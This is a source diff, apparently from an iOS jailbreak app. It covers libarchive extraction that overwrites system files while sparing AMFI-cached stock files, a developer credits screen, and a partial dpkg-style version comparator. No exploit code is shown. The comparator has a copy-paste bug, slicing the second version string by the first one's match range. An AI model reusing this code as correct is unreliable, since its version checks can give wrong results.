||||
}
|
||||
|
||||
archive_entry_set_pathname(entry, path.UTF8String);
|
||||
rv = archive_write_header(ext, entry);
|
||||
if (rv < ARCHIVE_OK) {
|
||||
NSLog(@"Archive: Unable to write header for %@: %s", path, archive_error_string(ext));
|
||||
if (rv < ARCHIVE_WARN)
|
||||
goto out;
|
||||
}
|
||||
if (archive_entry_size(entry) > 0) {
|
||||
rv = copy_data(a, ext);
|
||||
if (rv < ARCHIVE_OK) {
|
||||
NSLog(@"Archive: Error copying data for %@: %s", path, archive_error_string(ext));
|
||||
if (rv < ARCHIVE_WARN)
|
||||
goto out;
|
||||
}
|
||||
}
|
||||
|
||||
rv = archive_write_finish_entry(ext);
|
||||
if (rv < ARCHIVE_OK) {
|
||||
NSLog(@"Archive: %s", archive_error_string(ext));
|
||||
if (rv < ARCHIVE_WARN)
|
||||
goto out;
|
||||
}
|
||||
result = YES;
|
||||
out:
|
||||
archive_write_close(ext);
|
||||
archive_write_finish(ext);
|
||||
archive_read_close(a);
|
||||
archive_read_finish(a);
|
||||
close(fd);
|
||||
return result;
|
||||
}
|
||||
|
||||
-(BOOL)extract
|
||||
{
|
||||
return [self extractToPath:[[NSFileManager defaultManager] currentDirectoryPath]];
|
||||
}
|
||||
|
||||
-(BOOL)extractWithFlags:(int)flags
|
||||
{
|
||||
return [self extractToPath:[[NSFileManager defaultManager] currentDirectoryPath] withFlags:flags];
|
||||
}
|
||||
|
||||
-(BOOL)extractToPath:(NSString*)path
|
||||
{
|
||||
return [self extractToPath:path withFlags:DEFAULT_FLAGS];
|
||||
}
|
||||
|
||||
-(BOOL)extractToPath:(NSString*)path withOwner:(id_t)owner andGroup:(id_t)group
|
||||
{
|
||||
return [self extractToPath:path withFlags:DEFAULT_FLAGS overWriteDirectories:NO owner:owner andGroup:group];
|
||||
}
|
||||
|
||||
-(BOOL)extractToPath:(NSString*)path overWriteDirectories:(BOOL)overwrite_dirs
|
||||
{
|
||||
return [self extractToPath:path withFlags:DEFAULT_FLAGS overWriteDirectories:overwrite_dirs];
|
||||
}
|
||||
|
||||
-(BOOL)extractToPath:(NSString*)path withFlags:(int)flags
|
||||
{
|
||||
return [self extractToPath:path withFlags:flags overWriteDirectories:NO];
|
||||
}
|
||||
|
||||
-(BOOL)extractToPath:(NSString*)path withFlags:(int)flags overWriteDirectories:(BOOL)overwrite_dirs
|
||||
{
|
||||
return [self extractToPath:path withFlags:flags overWriteDirectories:overwrite_dirs owner:-1 andGroup:-1];
|
||||
}
|
||||
-(BOOL)extractToPath:(NSString*)path withFlags:(int)flags overWriteDirectories:(BOOL)overwrite_dirs owner:(id_t)owner andGroup:(id_t)group
|
||||
{
|
||||
BOOL result = NO;
|
||||
|
||||
int fd = dup(_fd);
|
||||
if (fd == -1) {
|
||||
NSLog(@"Archive: unable to dupe fd");
|
||||
return NO;
|
||||
}
|
||||
|
||||
struct archive *a = archive_read_new();
|
||||
archive_read_support_compression_all(a);
|
||||
archive_read_support_format_all(a);
|
||||
|
||||
if (archive_read_open_fd(a, _fd, 16384) != ARCHIVE_OK) {
|
||||
NSLog(@"Archive: unable to archive_read_open_fd: %s", archive_error_string(a));
|
||||
close(fd);
|
||||
return result;
|
||||
}
|
||||
|
||||
struct archive *ext = archive_write_disk_new();
|
||||
archive_write_disk_set_options(ext, flags);
|
||||
|
||||
// Seek to entry
|
||||
struct archive_entry *entry = NULL;
|
||||
int rv;
|
||||
|
||||
NSFileManager *fm = [NSFileManager defaultManager];
|
||||
NSString *cwd = [fm currentDirectoryPath];
|
||||
if (![fm changeCurrentDirectoryPath:path]) {
|
||||
NSLog(@"Archive: unable to change cwd to %@", path);
|
||||
goto out;
|
||||
}
|
||||
while ((rv = archive_read_next_header(a, &entry)) == ARCHIVE_OK) {
|
||||
const char *overwrite_temp = NULL;
|
||||
if (rv < ARCHIVE_OK) {
|
||||
NSLog(@"Archive \"%s\": %s", archive_entry_pathname(entry), archive_error_string(ext));
|
||||
if (rv < ARCHIVE_WARN)
|
||||
goto out;
|
||||
}
|
||||
if (owner >= 0) {
|
||||
archive_entry_set_uid(entry, owner);
|
||||
}
|
||||
if (group >= 0) {
|
||||
archive_entry_set_gid(entry, group);
|
||||
}
|
||||
[self addEntry:entry];
|
||||
|
||||
NSString *filenameobj = @(archive_entry_pathname(entry));
|
||||
const char *filename = filenameobj.UTF8String;
|
||||
NSLog(@"Processing %s", filename);
|
||||
|
||||
struct stat st;
|
||||
rv = stat(filename, &st);
|
||||
if (rv == 0) {
|
||||
if (!overwrite_dirs) {
|
||||
if (S_ISDIR(st.st_mode)) {
|
||||
// Directory already exists, don't mess with it
|
||||
NSLog(@"Archive: skipping directory: %s", filename);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
if (S_ISREG(st.st_mode)) {
|
||||
if (isInAMFIStaticCache(filenameobj)) {
|
||||
// --BootLoop
|
||||
NSLog(@"Archive: cowardly refusing to overwrite stock file: %s", filename);
|
||||
continue;
|
||||
}
|
||||
NSLog(@"Archive: Overwriting file %s", filename);
|
||||
overwrite_temp = [[filenameobj stringByAppendingString:@".archive-new"] UTF8String];
|
||||
archive_entry_set_pathname(entry, overwrite_temp);
|
||||
}
|
||||
}
|
||||
rv = archive_write_header(ext, entry);
|
||||
if (rv < ARCHIVE_OK) {
|
||||
NSLog(@"Archive \"%s\": %s", filename, archive_error_string(ext));
|
||||
}
|
||||
if (archive_entry_size(entry) > 0) {
|
||||
rv = copy_data(a, ext);
|
||||
if (rv < ARCHIVE_OK) {
|
||||
NSLog(@"Archive: Error copying data for %s: %s", filename, archive_error_string(ext));
|
||||
if (rv < ARCHIVE_WARN)
|
||||
goto out;
|
||||
}
|
||||
}
|
||||
rv = archive_write_finish_entry(ext);
|
||||
if (rv < ARCHIVE_OK) {
|
||||
NSLog(@"Archive \"%s\": %s", filename, archive_error_string(ext));
|
||||
if (rv < ARCHIVE_WARN)
|
||||
goto out;
|
||||
}
|
||||
if (overwrite_temp) {
|
||||
NSString *tmpFile = [filenameobj stringByAppendingString:@".archive-tmp"];
|
||||
NSLog(@"renaming out for %s\n", filename);
|
||||
if (rename(filename, tmpFile.UTF8String)) {
|
||||
unlink(overwrite_temp);
|
||||
NSLog(@"Archive: Unable to rename original file %s", filename);
|
||||
goto out;
|
||||
}
|
||||
NSLog(@"renaming in for %s\n", filename);
|
||||
if (rename(overwrite_temp, filename)) {
|
||||
unlink(overwrite_temp);
|
||||
NSLog(@"Archive: Unable to rename new file %s", filename);
|
||||
rename(tmpFile.UTF8String, filename);
|
||||
goto out;
|
||||
}
|
||||
NSLog(@"unlinking for %s\n", filename);
|
||||
if (unlink(tmpFile.UTF8String)) {
|
||||
NSLog(@"Archive: Unable to remove temp file %s", tmpFile.UTF8String);
|
||||
goto out;
|
||||
}
|
||||
overwrite_temp = NULL;
|
||||
}
|
||||
NSLog(@"%s: OK", filename);
|
||||
}
|
||||
result = YES;
|
||||
_hasReadFiles = YES;
|
||||
out:
|
||||
[fm changeCurrentDirectoryPath:cwd];
|
||||
archive_write_close(ext);
|
||||
archive_write_finish(ext);
|
||||
archive_read_close(a);
|
||||
archive_read_finish(a);
|
||||
close(fd);
|
||||
return result;
|
||||
}
|
||||
|
||||
-(BOOL)contains:(NSString*)file {
|
||||
if (!_hasReadFiles) {
|
||||
[self readContents];
|
||||
}
|
||||
return (_files[file] != nil);
|
||||
}
|
||||
|
||||
-(void)dealloc {
|
||||
close(_fd);
|
||||
}
|
||||
|
||||
@end
|
||||
@@ -10,4 +10,34 @@
|
||||
|
||||
@interface CreditsTableViewController : UITableViewController
|
||||
|
||||
+ (NSURL *)getURLForUserName:(NSString *)userName;
|
||||
|
||||
@property (weak, nonatomic) IBOutlet UIButton *ianBeerButton;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *bazadButton;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *morpheusButton;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *xerubButton;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *psychoTeaButton;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *stekButton;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *ninjaPrawnButton;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *crypticButton;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *xerusDesignButton;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *appleDryButton;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *robButton;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *midnightChipButton;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *geoSn0wButton;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *swaggoButton;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *jailbreakbusterButton;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *jakeashacksButton;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *saurikButton;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *siguzaButton;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *externalistButton;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *realBrightiupButton;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *nitoTVButton;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *matchsticButton;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *umanghereButton;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *miscMistyButton;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *benButton;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *samGButton;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *dennisButton;
|
||||
|
||||
@end
|
||||
|
||||
@@ -16,15 +16,8 @@
|
||||
|
||||
- (void)viewDidLoad {
|
||||
[super viewDidLoad];
|
||||
UIImageView *myImageView = [[UIImageView alloc] initWithImage:[UIImage imageNamed:@"Clouds"]];
|
||||
[myImageView setContentMode:UIViewContentModeScaleAspectFill];
|
||||
[myImageView setFrame:self.tableView.frame];
|
||||
UIView *myView = [[UIView alloc] initWithFrame:myImageView.frame];
|
||||
[myView setBackgroundColor:[UIColor whiteColor]];
|
||||
[myView setAlpha:0.84];
|
||||
[myView setAutoresizingMask:UIViewAutoresizingFlexibleWidth | UIViewAutoresizingFlexibleHeight];
|
||||
[myImageView addSubview:myView];
|
||||
[self.tableView setBackgroundView:myImageView];
|
||||
[[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(darkModeCreditsView:) name:@"darkModeCredits" object:nil];
|
||||
[[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(lightModeCreditsView:) name:@"lightModeCredits" object:nil];
|
||||
}
|
||||
|
||||
- (void)didReceiveMemoryWarning {
|
||||
@@ -32,6 +25,68 @@
|
||||
// Dispose of any resources that can be recreated.
|
||||
}
|
||||
|
||||
-(void) darkModeCreditsView:(NSNotification *) notification {
|
||||
|
||||
[self.ianBeerButton setTitleColor:[UIColor whiteColor] forState:normal];
|
||||
[self.bazadButton setTitleColor:[UIColor whiteColor] forState:normal];
|
||||
[self.morpheusButton setTitleColor:[UIColor whiteColor] forState:normal];
|
||||
[self.xerubButton setTitleColor:[UIColor whiteColor] forState:normal];
|
||||
[self.psychoTeaButton setTitleColor:[UIColor whiteColor] forState:normal];
|
||||
[self.stekButton setTitleColor:[UIColor whiteColor] forState:normal];
|
||||
[self.ninjaPrawnButton setTitleColor:[UIColor whiteColor] forState:normal];
|
||||
[self.crypticButton setTitleColor:[UIColor whiteColor] forState:normal];
|
||||
[self.xerusDesignButton setTitleColor:[UIColor whiteColor] forState:normal];
|
||||
[self.appleDryButton setTitleColor:[UIColor whiteColor] forState:normal];
|
||||
[self.robButton setTitleColor:[UIColor whiteColor] forState:normal];
|
||||
[self.midnightChipButton setTitleColor:[UIColor whiteColor] forState:normal];
|
||||
[self.geoSn0wButton setTitleColor:[UIColor whiteColor] forState:normal];
|
||||
[self.swaggoButton setTitleColor:[UIColor whiteColor] forState:normal];
|
||||
[self.jailbreakbusterButton setTitleColor:[UIColor whiteColor] forState:normal];
|
||||
[self.jakeashacksButton setTitleColor:[UIColor whiteColor] forState:normal];
|
||||
[self.saurikButton setTitleColor:[UIColor whiteColor] forState:normal];
|
||||
[self.siguzaButton setTitleColor:[UIColor whiteColor] forState:normal];
|
||||
[self.externalistButton setTitleColor:[UIColor whiteColor] forState:normal];
|
||||
[self.realBrightiupButton setTitleColor:[UIColor whiteColor] forState:normal];
|
||||
[self.nitoTVButton setTitleColor:[UIColor whiteColor] forState:normal];
|
||||
[self.matchsticButton setTitleColor:[UIColor whiteColor] forState:normal];
|
||||
[self.umanghereButton setTitleColor:[UIColor whiteColor] forState:normal];
|
||||
[self.miscMistyButton setTitleColor:[UIColor whiteColor] forState:normal];
|
||||
[self.benButton setTitleColor:[UIColor whiteColor] forState:normal];
|
||||
[self.samGButton setTitleColor:[UIColor whiteColor] forState:normal];
|
||||
[self.dennisButton setTitleColor:[UIColor whiteColor] forState:normal];
|
||||
}
|
||||
|
||||
-(void) lightModeCreditsView:(NSNotification *) notification {
|
||||
|
||||
[self.ianBeerButton setTitleColor:[UIColor blackColor] forState:normal];
|
||||
[self.bazadButton setTitleColor:[UIColor blackColor] forState:normal];
|
||||
[self.morpheusButton setTitleColor:[UIColor blackColor] forState:normal];
|
||||
[self.xerubButton setTitleColor:[UIColor blackColor] forState:normal];
|
||||
[self.psychoTeaButton setTitleColor:[UIColor blackColor] forState:normal];
|
||||
[self.stekButton setTitleColor:[UIColor blackColor] forState:normal];
|
||||
[self.ninjaPrawnButton setTitleColor:[UIColor blackColor] forState:normal];
|
||||
[self.crypticButton setTitleColor:[UIColor blackColor] forState:normal];
|
||||
[self.xerusDesignButton setTitleColor:[UIColor blackColor] forState:normal];
|
||||
[self.appleDryButton setTitleColor:[UIColor blackColor] forState:normal];
|
||||
[self.robButton setTitleColor:[UIColor blackColor] forState:normal];
|
||||
[self.midnightChipButton setTitleColor:[UIColor blackColor] forState:normal];
|
||||
[self.geoSn0wButton setTitleColor:[UIColor blackColor] forState:normal];
|
||||
[self.swaggoButton setTitleColor:[UIColor blackColor] forState:normal];
|
||||
[self.jailbreakbusterButton setTitleColor:[UIColor blackColor] forState:normal];
|
||||
[self.jakeashacksButton setTitleColor:[UIColor blackColor] forState:normal];
|
||||
[self.saurikButton setTitleColor:[UIColor blackColor] forState:normal];
|
||||
[self.siguzaButton setTitleColor:[UIColor blackColor] forState:normal];
|
||||
[self.externalistButton setTitleColor:[UIColor blackColor] forState:normal];
|
||||
[self.realBrightiupButton setTitleColor:[UIColor blackColor] forState:normal];
|
||||
[self.nitoTVButton setTitleColor:[UIColor blackColor] forState:normal];
|
||||
[self.matchsticButton setTitleColor:[UIColor blackColor] forState:normal];
|
||||
[self.umanghereButton setTitleColor:[UIColor blackColor] forState:normal];
|
||||
[self.miscMistyButton setTitleColor:[UIColor blackColor] forState:normal];
|
||||
[self.benButton setTitleColor:[UIColor blackColor] forState:normal];
|
||||
[self.samGButton setTitleColor:[UIColor blackColor] forState:normal];
|
||||
[self.dennisButton setTitleColor:[UIColor blackColor] forState:normal];
|
||||
}
|
||||
|
||||
+ (NSURL *)getURLForUserName:(NSString *)userName {
|
||||
if ([[UIApplication sharedApplication] canOpenURL:[NSURL URLWithString:@"tweetbot://"]]) {
|
||||
return [NSURL URLWithString:[NSString stringWithFormat:@"tweetbot:///user_profile/%@", userName]];
|
||||
@@ -50,8 +105,12 @@
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"i41nbeer"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnBazad:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"_bazad"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnMorpheus:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"morpheus______"] options:@{} completionHandler:nil];
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"Morpheus______"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnXerub:(id)sender{
|
||||
@@ -83,7 +142,7 @@
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnRob:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"Rob_Coleman123"] options:@{} completionHandler:nil];
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"AyyItzRob"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnMidnightChip:(id)sender{
|
||||
@@ -106,8 +165,52 @@
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"Jakeashacks"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnJonathanSeals:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"JonathanSeals"] options:@{} completionHandler:nil];
|
||||
-(IBAction)tappedOnSaurik:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"saurik"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnSiguza:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"s1guza"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnExternalist:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"Externalist"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnRealBrightiup:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"realBrightiup"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnNitoTV:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"nitoTV"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnMatchstic:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"_Matchstic"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnUmanghere:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"umanghere"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnMiscMisty:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"MiscMisty"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnBen:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"benjweaverdev"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
- (IBAction)tappedOnSamG:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[NSURL URLWithString:@"https://reddit.com/u/Samg_is_a_Ninja"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
- (IBAction)tappedOnDennis:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"DennisBednarz"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
- (CGFloat)tableView:(UITableView *)tableView heightForRowAtIndexPath:(NSIndexPath *)indexPath {
|
||||
return 44;
|
||||
}
|
||||
|
||||
@end
|
||||
|
||||
@@ -0,0 +1,22 @@
|
||||
//
|
||||
// FakeApt.h
|
||||
// This is far from a complete implementation
|
||||
//
|
||||
// Created by Sam Bingner on 1/24/19.
|
||||
// Copyright © 2019 Pwn20wnd. All rights reserved.
|
||||
//
|
||||
|
||||
#ifndef FakeApt_h
|
||||
#define FakeApt_h
|
||||
|
||||
int versioncomp(NSString *v1, NSString *v2);
|
||||
NSDictionary *parseDependsOrProvides(NSString *string);
|
||||
BOOL compareDpkgVersion(NSString *version1, NSString *op, NSString *version2, BOOL *result);
|
||||
NSString *versionOfPkg(NSString *pkg);
|
||||
NSArray *resolveDepsForPkg(NSString * _Nonnull pkg, BOOL noPreDeps);
|
||||
BOOL extractDebsForPkg(NSString *pkg, NSMutableArray *installed, BOOL preDeps, bool doInject);
|
||||
NSDictionary *getPkgs(void);
|
||||
NSString *debForPkg(NSString *pkg);
|
||||
NSArray <NSString*> *debsForPkgs(NSArray <NSString*> *pkgs);
|
||||
|
||||
#endif /* FakeApt_h */
|
||||
@@ -0,0 +1,458 @@
|
||||
//
|
||||
// FakeApt.m
|
||||
// This is far from a complete implementation.
|
||||
//
|
||||
// Created by Sam Bingner on 1/24/19.
|
||||
// Copyright © 2019 Pwn20wnd. All rights reserved.
|
||||
//
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <UIKit/UIKit.h>
|
||||
#import "utils.h"
|
||||
#import "common.h"
|
||||
#import "FakeApt.h"
|
||||
|
||||
static int valueForNonDigit(char nd) {
|
||||
if (nd == '~')
|
||||
return 0;
|
||||
else if (nd == '\0')
|
||||
return 1;
|
||||
else if (nd >= 'A' && nd <= 'Z')
|
||||
return 2 + nd - 'A';
|
||||
else if (nd >= 'a' && nd <= 'z')
|
||||
return 2 + ('Z' - 'A') + nd - 'a';
|
||||
else
|
||||
return 2 + ('Z' - 'A') * 2 + nd;
|
||||
}
|
||||
|
||||
int versioncomp(NSString *v1, NSString *v2) {
|
||||
NSRegularExpression *nonDigitsR = [NSRegularExpression regularExpressionWithPattern:@"^([^\\d]+)" options:0 error:nil];
|
||||
NSRegularExpression *digitsR = [NSRegularExpression regularExpressionWithPattern:@"^([\\d]+)" options:0 error:nil];
|
||||
int result = 0;
|
||||
do {
|
||||
NSTextCheckingResult *nonDigits1 = [nonDigitsR firstMatchInString:v1 options:0 range:NSMakeRange(0, v1.length)];
|
||||
NSTextCheckingResult *nonDigits2 = [nonDigitsR firstMatchInString:v2 options:0 range:NSMakeRange(0, v2.length)];
|
||||
const char *nd1="", *nd2="";
|
||||
if (nonDigits1) {
|
||||
nd1 = [v1 substringWithRange:nonDigits1.range].UTF8String;
|
||||
v1 = [v1 substringFromIndex:nonDigits1.range.length];
|
||||
}
|
||||
if (nonDigits2) {
|
||||
nd2 = [v2 substringWithRange:nonDigits1.range].UTF8String;
|
||||
v2 = [v2 substringFromIndex:nonDigits1.range.length];
|
||||
}
|
||||
size_t maxLen = MIN(nonDigits1.range.length, nonDigits2.range.length) + 1; // Also compare NULL
|
||||
int compared;
|
||||
for (compared=0; compared < maxLen && *nd1 == *nd2; compared++, nd1++, nd2++);
|
||||
if (compared < maxLen) {
|
||||
int cv1 = valueForNonDigit(*nd1);
|
||||
int cv2 = valueForNonDigit(*nd2);
|
||||
result = cv1 - cv2;
|
||||
}
|
||||
|
||||
if (result == 0) {
|
||||
// Compare digits
|
||||
NSTextCheckingResult *digits1 = [digitsR firstMatchInString:v1 options:0 range:NSMakeRange(0, v1.length)];
|
||||
NSTextCheckingResult *digits2 = [digitsR firstMatchInString:v2 options:0 range:NSMakeRange(0, v2.length)];
|
||||
|
||||
int dv1=0, dv2=0;
|
||||
if (digits1) {
|
||||
dv1 = [[v1 substringWithRange:digits1.range] intValue];
|
||||
v1 = [v1 substringFromIndex:digits1.range.length];
|
||||
}
|
||||
if (digits2) {
|
||||
dv2 = [[v2 substringWithRange:digits2.range] intValue];
|
||||
v2 = [v2 substringFromIndex:digits2.range.length];
|
||||
}
|
||||
result = dv1 - dv2;
|
||||
}
|
||||
} while (result == 0 && (v1.length > 0 || v2.length > 0));
|
||||
return result;
|
||||
}
|
||||
|
||||
NSDictionary *parseDependsOrProvides(NSString *string) {
|
||||
NSRegularExpression *version = [NSRegularExpression regularExpressionWithPattern:@"^\\s*(\\S+)\\s+\\((<<|<=|=|>=|>>)\\s*((?:\\d:|)[A-Za-z0-9\\.\\+\\-\\~]+)\\)" options:0 error:nil];
|
||||
|
||||
NSTextCheckingResult *verMatch = [version firstMatchInString:string options:0 range:NSMakeRange(0, string.length)];
|
||||
if (verMatch) {
|
||||
return @{
|
||||
@"name": [string substringWithRange:[verMatch rangeAtIndex:1]],
|
||||
@"op": [string substringWithRange:[verMatch rangeAtIndex:2]],
|
||||
@"ver": [string substringWithRange:[verMatch rangeAtIndex:3]]
|
||||
};
|
||||
}
|
||||
return @{@"name": string};
|
||||
}
|
||||
|
||||
enum dpkgComparisonResult {
|
||||
resError = -1,
|
||||
resNotSatisfied = 0,
|
||||
resSatisfied = 1,
|
||||
resPending = 2
|
||||
};
|
||||
|
||||
static enum dpkgComparisonResult testComp(int compRes, NSString *op, bool last) {
|
||||
static NSDictionary *compDict;
|
||||
static dispatch_once_t onceToken;
|
||||
dispatch_once(&onceToken, ^{
|
||||
compDict = @{
|
||||
@"<<" : @-2,
|
||||
@"<=" : @-1,
|
||||
@"=" : @0,
|
||||
@">=" : @1,
|
||||
@">>" : @2
|
||||
};
|
||||
});
|
||||
NSNumber *compOp = compDict[op];
|
||||
if (!compOp)
|
||||
return resError;
|
||||
|
||||
switch (compOp.intValue) {
|
||||
case -2:
|
||||
if (compRes < 0)
|
||||
return resSatisfied;
|
||||
return last?resNotSatisfied:resPending;
|
||||
break;
|
||||
case -1:
|
||||
if (compRes < 0)
|
||||
return resSatisfied;
|
||||
case 0:
|
||||
if (compRes == 0)
|
||||
return last?resSatisfied:resPending;
|
||||
return resNotSatisfied;
|
||||
break;
|
||||
case 1:
|
||||
if (compRes == 0)
|
||||
return last?resSatisfied:resPending;
|
||||
case 2:
|
||||
if (compRes > 0)
|
||||
return resSatisfied;
|
||||
return last?resNotSatisfied:resPending;
|
||||
break;
|
||||
default:
|
||||
return resError;
|
||||
}
|
||||
}
|
||||
|
||||
BOOL compareDpkgVersion(NSString *version1, NSString *op, NSString *version2, BOOL *result) {
|
||||
if (version1 == nil || op == nil || version2 == nil || result == NULL)
|
||||
return NO;
|
||||
|
||||
NSRegularExpression *mainVersionPartsRegex = [NSRegularExpression regularExpressionWithPattern:
|
||||
@"^(?:(\\d):|)(?:([A-Za-z0-9\\.\\+\\-~]+)-([A-Za-z0-9\\.\\+~]+)|([A-Za-z0-9\\.\\+~]+))$"
|
||||
options:0 error:nil];
|
||||
NSRegularExpression *opRegex = [NSRegularExpression regularExpressionWithPattern:@"^<<|<=|=|>=|>>$" options:0 error:nil];
|
||||
|
||||
if ([opRegex numberOfMatchesInString:op options:0 range:NSMakeRange(0, op.length)] != 1) {
|
||||
LOG("couldn't parse op");
|
||||
return NO;
|
||||
}
|
||||
|
||||
NSTextCheckingResult *mainVersion1Parts = [mainVersionPartsRegex firstMatchInString:version1 options:0 range:NSMakeRange(0, version1.length)];
|
||||
NSTextCheckingResult *mainVersion2Parts = [mainVersionPartsRegex firstMatchInString:version2 options:0 range:NSMakeRange(0, version2.length)];
|
||||
|
||||
if (!mainVersion1Parts || !mainVersion2Parts) {
|
||||
LOG("couldn't parse version %@ or %@", version1, version2);
|
||||
return NO;
|
||||
}
|
||||
|
||||
NSString *epoch1;
|
||||
if (NSEqualRanges([mainVersion1Parts rangeAtIndex:1], NSMakeRange(NSNotFound, 0))) {
|
||||
epoch1 = @"0";
|
||||
} else {
|
||||
epoch1 = [version1 substringWithRange:[mainVersion1Parts rangeAtIndex:1]];
|
||||
}
|
||||
NSString *epoch2;
|
||||
if (NSEqualRanges([mainVersion2Parts rangeAtIndex:1], NSMakeRange(NSNotFound, 0))) {
|
||||
epoch2 = @"0";
|
||||
} else {
|
||||
epoch2 = [version2 substringWithRange:[mainVersion2Parts rangeAtIndex:1]];
|
||||
}
|
||||
|
||||
NSString *upstream1;
|
||||
if (NSEqualRanges([mainVersion1Parts rangeAtIndex:2], NSMakeRange(NSNotFound, 0))) {
|
||||
if (NSEqualRanges([mainVersion1Parts rangeAtIndex:4], NSMakeRange(NSNotFound, 0))) {
|
||||
LOG("Unable to parse version1 upstream version: %@", version1);
|
||||
return NO;
|
||||
}
|
||||
upstream1 = [version1 substringWithRange:[mainVersion1Parts rangeAtIndex:4]];
|
||||
} else {
|
||||
upstream1 = [version1 substringWithRange:[mainVersion1Parts rangeAtIndex:2]];
|
||||
}
|
||||
|
||||
NSString *upstream2;
|
||||
if (NSEqualRanges([mainVersion2Parts rangeAtIndex:2], NSMakeRange(NSNotFound, 0))) {
|
||||
if (NSEqualRanges([mainVersion2Parts rangeAtIndex:4], NSMakeRange(NSNotFound, 0))) {
|
||||
LOG("Unable to parse version2 upstream version: %@", version2);
|
||||
return NO;
|
||||
}
|
||||
upstream2 = [version2 substringWithRange:[mainVersion2Parts rangeAtIndex:4]];
|
||||
} else {
|
||||
upstream2 = [version2 substringWithRange:[mainVersion2Parts rangeAtIndex:2]];
|
||||
}
|
||||
|
||||
NSString *deb1;
|
||||
if (NSEqualRanges([mainVersion1Parts rangeAtIndex:3], NSMakeRange(NSNotFound, 0))) {
|
||||
deb1 = @"0";
|
||||
} else {
|
||||
deb1 = [version1 substringWithRange:[mainVersion1Parts rangeAtIndex:3]];
|
||||
}
|
||||
|
||||
NSString *deb2;
|
||||
if (NSEqualRanges([mainVersion2Parts rangeAtIndex:3], NSMakeRange(NSNotFound, 0))) {
|
||||
deb2 = @"0";
|
||||
} else {
|
||||
deb2 = [version2 substringWithRange:[mainVersion2Parts rangeAtIndex:3]];
|
||||
}
|
||||
|
||||
enum dpkgComparisonResult res = testComp(versioncomp(epoch1, epoch2), op, false);
|
||||
if (res == resPending)
|
||||
res = testComp(versioncomp(upstream1, upstream2), op, false);
|
||||
if (res == resPending)
|
||||
res = testComp(versioncomp(deb1, deb2), op, true);
